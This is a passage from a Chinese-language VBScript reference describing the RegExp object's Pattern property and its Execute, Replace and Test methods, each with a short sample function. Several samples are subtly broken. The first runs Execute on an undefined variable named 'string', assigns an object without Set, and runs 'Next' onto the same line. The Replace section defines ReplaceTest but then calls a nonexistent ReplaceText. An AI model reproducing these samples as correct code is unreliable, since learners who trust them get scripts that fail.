\xn 匹配n，其中n是一个十六进制的换码值。十六进制换码值必须恰好为两个数字长。例如，"\x41"匹配"A"。"\x041"等价于"\x04" 和 "1"。允许在正则表达式中使用 ASCII 码。

说明
下面的代码说明了 Pattern 属性的用法：

Function RegExpTest(patrn, strng)
Dim regEx,Match,Matches '建立变量。
Set regEx = New RegExp '建立一般表达式。
regEx.Pattern= patrn '设置模式。
regEx.IgnoreCase = True '设置是否区分大小写。
regEx.Global=True '设置全局可用性。
set Matches=regEx.Execute(string) '重复匹配集合
RegExpTest = regEx.Execute(strng) '执行搜索。
for each match in matches '重复匹配集合
RetStr=RetStr &"Match found at position "
RetStr=RetStr&Match.FirstIndex&".Match Value is '"
RetStr=RetStr&Match.Value&"'."&vbCRLF Next
RegExpTest=RetStr
End Function
MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))

=======================================================
Execute 方法
对指定的字符串执行正则表达式搜索。

object.Execute(string)

参数
object

必选项。总是一个 RegExp 对象的名称。

string

必选项。要在其上执行正则表达式的文本字符串。

说明
正则表达式搜索的设计模式是通过 RegExp 对象的 Pattern 来设置的。

Execute 方法返回一个 Matches 集合，其中包含了在 string 中找到的每一个匹配的 Match 对象。如果未找到匹配，Execute 将返回空的 Matches 集合。

下面的代码说明了 Execute 方法的用法。

Function RegExpTest(patrn, strng)
Dim regEx, Match, Matches ' Create variable.
Set regEx = New RegExp ' Create a regular expression.
regEx.Pattern = patrn ' Set pattern.
regEx.IgnoreCase = True ' Set case insensitivity.
regEx.Global = True ' Set global applicability.
Set Matches = regEx.Execute(strng) ' Execute search.
For Each Match in Matches ' Iterate Matches collection.
RetStr = RetStr & "Match found at position "
RetStr = RetStr & Match.FirstIndex & ". Match Value is '"
RetStr = RetStr & Match.Value & "'." & vbCRLF
Next
RegExpTest = RetStr
End Function
MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))

================================================================

Replace 方法
替换在正则表达式查找中找到的文本。

object.Replace(string1, string2)

参数
object

必选项。总是一个 RegExp 对象的名称。

string1

必选项。string1 是将要进行文本替换的字符串。

string2

必选项。 string2 是替换文本字符串。

说明
被替换的文本的实际模式是通过 RegExp 对象的 Pattern 属性设置的。

Replace 方法返回 string1 的副本，其中的 RegExp.Pattern 文本已经被替换为 string2。如果没有找到匹配的文本，将返回原来的 string1 的副本。

下面的例子说明了 Replace 方法的用法。

Function ReplaceTest(patrn, replStr)
Dim regEx, str1 ' 建立变量。
str1 = "The quick brown fox jumped over the lazy dog."
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = True ' 设置是否区分大小写。
ReplaceTest = regEx.Replace(str1, replStr) ' 作替换。
End Function

MsgBox(ReplaceTest("fox", "cat")) ' 将 'fox' 替换为 'cat'。
；另外，Replace 方法在模式中替换 subexpressions 。 下面对以前示例中函数的调用，替换了原字符串中的所有字对：

MsgBox(ReplaceText("(\S+)(\s+)(\S+)", "$3$2$1")) ' 交换词对.

======================================================

Test 方法
对指定的字符串执行一个正则表达式搜索，并返回一个 Boolean 值指示是否找到匹配的模式。

object.Test(string)

参数
object

必选项。总是一个 RegExp 对象的名称。

string

必选项。要执行正则表达式搜索的文本字符串。

说明
正则表达式搜索的实际模式是通过RegExp对象的Pattern属性来设置的。RegExp.Global属性对Test方法没有影响。

如果找到了匹配的模式，Test方法返回True；否则返回False。

下面的代码说明了Test 方法的用法。

Function RegExpTest(patrn, strng)
Dim regEx, retVal ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = False ' 设置是否区分大小写。
retVal = regEx.Test(strng) ' 执行搜索测试。
If retVal Then
RegExpTest = "找到一个或多个匹配。"
Else
RegExpTest = "未找到匹配。"
End If
End Function
MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))